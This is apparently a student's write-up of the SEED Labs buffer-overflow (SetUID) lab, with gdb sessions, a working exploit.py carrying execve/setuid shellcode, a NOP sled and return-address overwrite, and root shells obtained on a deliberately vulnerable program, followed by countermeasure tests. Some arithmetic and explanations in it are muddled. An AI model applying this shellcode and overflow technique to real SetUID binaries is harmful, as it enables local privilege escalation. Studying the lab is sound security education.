


SEED Buffer Overflow (SetUID)


1. Testing the shellcode (assembly code)
 - a. In the shellcode folder, compile the program with **make**. Run a32.out and a64.out and describe your observations.



```
[04/15/24]seed@VM:~/../shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
[04/15/24]seed@VM:~/../shellcode$ ls
a32.out a64.out call_shellcode.c Makefile
[04/15/24]seed@VM:~/../shellcode$ ./a32.out
$ whoami
seed
$ hello
/bin/sh: 2: hello: not found
$ q
/bin/sh: 3: q: not found
$ quit
/bin/sh: 4: quit: not found
$ exit
[04/15/24]seed@VM:~/../shellcode$ ./a64.out
$ whoami
seed
$ hello
/bin/sh: 2: hello: not found
$ exit
[04/15/24]seed@VM:~/../shellcode$
```

When I typed **make**, two output files (a32.out and a64.out) were created; when I ran each of these with **./*.out**, I noticed that they both spawned user shells.


2. Understanding the vulnerable code
 - a. In the code folder, compile the program with **make**.




```
[04/15/24]seed@VM:~/../code$ make
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -o stack-L1 stack.c
gcc -DBUF_SIZE=100 -z execstack -fno-stack-protector -m32 -g -o stack-L1-dbg sta
ck.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -o stack-L2 stack.c
gcc -DBUF_SIZE=160 -z execstack -fno-stack-protector -m32 -g -o stack-L2-dbg sta
ck.c
sudo chown root stack-L2 && sudo chmod 4755 stack-L2
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -o stack-L3 stack.c
gcc -DBUF_SIZE=200 -z execstack -fno-stack-protector -g -o stack-L3-dbg stack.c
sudo chown root stack-L3 && sudo chmod 4755 stack-L3
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -o stack-L4 stack.c
gcc -DBUF_SIZE=10 -z execstack -fno-stack-protector -g -o stack-L4-dbg stack.c
sudo chown root stack-L4 && sudo chmod 4755 stack-L4
[04/15/24]seed@VM:~/../code$ ls
brute-force.sh stack.c stack-L1 stack-L2 stack-L3 stack-L4
exploit.py stack-L1-dbg stack-L2-dbg stack-L3-dbg stack-L4-dbg
Makefile
[04/15/24]seed@VM:~/../code$
```

When I typed **make**, eight output files (stack-L1, stack-L2, stack-L3, stack-L4, stack-L1-dbg, stack-L2-dbg, stack-L3-dbg, and stack-L4-dbg) were created.


3. Launch an attack on the 32-bit program.
 - a. Investigation



```
[04/15/24]seed@VM:~/code$ touch badfile
[04/15/24]seed@VM:~/code$ gdb -q stack-L1-dbg
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you mean "is=="?
  if sys.version info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you mean "is=="?
  if pyversion is 3:
Reading symbols from stack-L1-dbg...
gdb-peda$ b bof
Breakpoint 1 at 0x12ad: file stack.c, line 16.
gdb-peda$ run
Starting program: /home/seed/Labsetup/code/stack-L1-dbg
Input size: 0
[-----registers-----]
EAX: 0xffffcb88 --> 0x0
EBX: 0x565581b8 --> 0x3ec0
ECX: 0x60 ('')
EDX: 0xffffcf70 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcf78 --> 0xfffff1a8 --> 0x0
ESP: 0xffffcb6c --> 0x565563ee (<dummy_function+62>: add esp,0x10)
EIP: 0x565562ad (<bof>: endbr32)
```



```
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-----code-----]
0x565562a4 <frame_dummy+4>: jmp 0x56556200 <register_tm_clones>
0x565562a9 <_x86_get_pc_thunk.dx>: mov edx,DWORD PTR [esp]
0x565562ac <_x86_get_pc_thunk.dx+3>: ret
=> 0x565562ad <bof>: endbr32
0x565562b1 <bof+4>: push ebp
0x565562b2 <bof+5>: mov ebp,esp
0x565562b4 <bof+7>: push ebx
0x565562b5 <bof+8>: sub esp,0x74
[-----stack-----]
0000 0xffffcb6c --> 0x565563ee (<dummy_function+62>: add esp,0x10)
0004 0xffffcb70 --> 0xffffcf93 --> 0x456
0008 0xffffcb74 --> 0x0
0012 0xffffcb78 --> 0x3e8
0016 0xffffcb7c --> 0x565563c3 (<dummy_function+19>: add eax,0x2bf5)
0020 0xffffcb80 --> 0x0
0024 0xffffcb84 --> 0x0
0028 0xffffcb88 --> 0x0
Legend: code, data, rodata, value
Breakpoint 1, bof (str=0xffffcf93 "V\004") at stack.c:16
16 {
```



```
gdb-peda$ next
[-----registers-----]
EAX: 0x565581b8 --> 0x3ec0
EBX: 0x565581b8 --> 0x3ec0
ECX: 0x60 ('')
EDX: 0xffffcf70 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcb68 --> 0xffffcf78 --> 0xfffff1a8 --> 0x0
ESP: 0xffffcaf0 (*1pUV\204\317\377\220\325\377\367\340\263\374", <incomplete
sequence \367>)
EIP: 0x565562c2 (<bof+21>: sub esp,0x8)
EFLAGS: 0x10216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-----code-----]
0x565562b5 <bof+8>: sub esp,0x74
0x565562b8 <bof+11>: call 0x565563f7 <_x86_get_pc_thunk.ax>
0x565562bd <bof+16>: add eax,0x2cfb
=> 0x565562c2 <bof+21>: sub esp,0x8
0x565562c5 <bof+24>: push DWORD PTR [ebp+0x8]
0x565562c8 <bof+27>: lea edx,[ebp-0x6c]
0x565562cb <bof+30>: push edx
0x565562cc <bof+31>: mov ebx,eax
[-----stack-----]
```

```

=> 0x565562c2 <bof+21>: sub    esp,0x8
0x565562c5 <bof+24>: push   DWORD PTR [ebp+0x8]
0x565562c8 <bof+27>: lea    edx,[ebp-0x6c]
0x565562cb <bof+30>: push   edx
0x565562cc <bof+33>: mov    ebx,ebx
[-----Stack-----]
0000] 0xffffca00 ("IpUV\204\317\377\220\325\377\367\340\263\374", <incomplete sequence \367>)
0004] 0xffffca04 --> 0xffffcf84 --> 0x0
0008] 0xffffca08 --> 0xf7fd590 --> 0xf7fd1000 --> 0x464c457f
0012] 0xffffca0c --> 0xf7fcb3e0 --> 0xf7fd990 --> 0x56555000 --> 0x464c457f
0016] 0xffffcb00 --> 0x0
0020] 0xffffcb04 --> 0x0
0024] 0xffffcb08 --> 0x0
0028] 0xffffcb0c --> 0x0
[-----]
Legend: code, data, rodata, value
20 strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xffffcb68
gdb-peda$ p &buffer
$2 = (char *) [100] 0xffffcafc
gdb-peda$ quit
[04/15/24]seed@VM:~/.../codes$

```

I created a file 'badfile' using the **touch** command, then used gdb to step through the program stack-L1-dbg. Finally, I got the ebp value, buffer, and exited gdb.

b. Launch an attack


```

[04/15/24]seed@VM:~/.../codes$ ./exploit.py
[04/15/24]seed@VM:~/.../codes$ ./stack-L1
Input size: 517
$ whoami
seed
$ exit
[04/15/24]seed@VM:~/.../codes$

```

I modified the exploit.py file with the provided 32-bit shellcode, a new shellcode starting position (517 - len(shellcode)), return address (0xffffcb68 + 120), and offset (0xffffcb68 - 0xffffcafc = 0x16c = 108 + 4 = 112).

4. Launch an attack on the 32-bit program without knowing the buffer size.



```
# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffcb68 + 120
#offset = 112
L = 4 # Use 4 for 32-bit address and 8 for 64-bit address

for i in range(100, 200, L):
    content[i:i + L] = (ret).to_bytes(L,byteorder='little')

# content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')

#####

# Write the content to a file
with open('badfile', 'wb') as f:
    f.write(content)


[04/17/24]seed@VM:~/.../code$ ./exploit.py
[04/17/24]seed@VM:~/.../code$ ./stack-L2
Input size: 517
# whoami
root
# exit
[04/17/24]seed@VM:~/.../code$
```

Given the constraints of this task, I know that the range of the buffer size is somewhere between 100 and 200. Therefore, if I create a loop to iterate through the potential offset (100 – 200) and set that range of values to the return address, the instruction pointer has a greater chance of pointing at one of those return addresses.

5. N/A

6. N/A

7. Defeating dash's countermeasure



The image consists of two screenshots of a terminal window in a virtual machine, showing the execution of a shellcode exploit. The terminal window is titled 'seed@VM: ~/code' and has a 'SEED LABS' logo in the top right corner. The background of the terminal is a dark purple with a lightning bolt pattern.

The first screenshot shows the initial setup of the exploit. The user runs `sudo ln -sf /bin/dash /bin/sh` and `cat exploit.py`. The script defines a shellcode, fills it with NOPs, and sets the return address to `0xffffcb68 + 320`.

```
[04/16/24]seed@VM:~/code$ sudo ln -sf /bin/dash /bin/sh
[04/16/24]seed@VM:~/code$ cat exploit.py
#!/usr/bin/python3

import sys
shellcode = (
    "\x31\xdb\xb0\x17\xcd\x80"
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
    "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
    "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

# Put the shellcode somewhere in the payload
start = 517 - len(shellcode)
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffcb68 + 320
```

The second screenshot shows the execution of the exploit. The user runs `./exploit.py` and `./stack-L1`. The script writes the content to a file, runs `whoami`, and then runs `ls -l /bin/sh /bin/zsh /bin/dash`. The output shows that the user is root and that the files `/bin/sh`, `/bin/zsh`, and `/bin/dash` are all owned by root.


```
# Decide the return address value
# and put it somewhere in the payload
ret = 0xffffcb68 + 320
offset = 112
L = 4 # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L, byteorder='little')

# Write the content to a file
with open('badfile', 'wb') as f:
    f.write(content)

[04/16/24]seed@VM:~/code$ ./exploit.py
[04/16/24]seed@VM:~/code$ ./stack-L1
Input size: 517
# whoami
root
# exit
[04/16/24]seed@VM:~/code$ ls -l /bin/sh /bin/zsh /bin/dash
-rwxr-xr-x 1 root root 129816 Jul 18 2019 /bin/dash
lrwxrwxrwx 1 root root    9 Apr 16 21:23 /bin/sh -> /bin/dash
-rwxr-xr-x 1 root root 878288 Feb 23 2020 /bin/zsh
[04/16/24]seed@VM:~/code$
```

Unsurprisingly, when running `a32.out` and `a64.out`, either of which spawned a shell with root privileges with `setuid(0)` or spawned a shell with user privileges without `setuid(0)`. After setting `/bin/sh` to point back to `/bin/dash`, I prepended the shellcode in the payload with instructions to `setuid(0)` to match the effective and real UIDs.


8. Defeating address randomization



Unsurprisingly, after enabling address randomization the exploit no longer spawned a shell. After running the bash script that keeps the program in a loop until the addresses match up, a shell spawned.


9. Experimenting with other countermeasures

a. Enabling/disabling Stack Guard protection



With `-fno-stack-protector` enabled the exploit spawned a shell as expected; however, after disabling it, no shell was spawned as a stack smashing error was detected.

b. Enabling/disabling non-executable stack protection



```
[04/16/24]seed@VM:~/code$ nano Makefile
[04/16/24]seed@VM:~/code$ make clean
rm -f badfile stack-L1 stack-L2 stack-L3 stack-L4 stack-L1-dbg stack-L2-dbg stack-L3-dbg stack-L4-dbg peda-session-stack*.txt .gdb_history
[04/16/24]seed@VM:~/code$ make
gcc -DBUF_SIZE=100 -z noexecstack -fno-stack-protector -m32 -o stack-L1 stack.c
sudo chown root stack-L1 && sudo chmod 4755 stack-L1
gcc -DBUF_SIZE=160 -z noexecstack -fno-stack-protector -m32 -o stack-L2 stack.c
sudo chown root stack-L2 && sudo chmod 4755 stack-L2
gcc -DBUF_SIZE=200 -z noexecstack -fno-stack-protector -o stack-L3 stack.c
sudo chown root stack-L3 && sudo chmod 4755 stack-L3
gcc -DBUF_SIZE=10 -z noexecstack -fno-stack-protector -o stack-L4 stack.c
sudo chown root stack-L4 && sudo chmod 4755 stack-L4
[04/16/24]seed@VM:~/code$ ./exploit.py
Input size: 517
Segmentation fault
[04/16/24]seed@VM:~/code$
```

With `-z execstack` enabled the exploit spawned a shell as expected; however, with `-z noexecstack`, no shell was spawned as a segmentation fault was detected.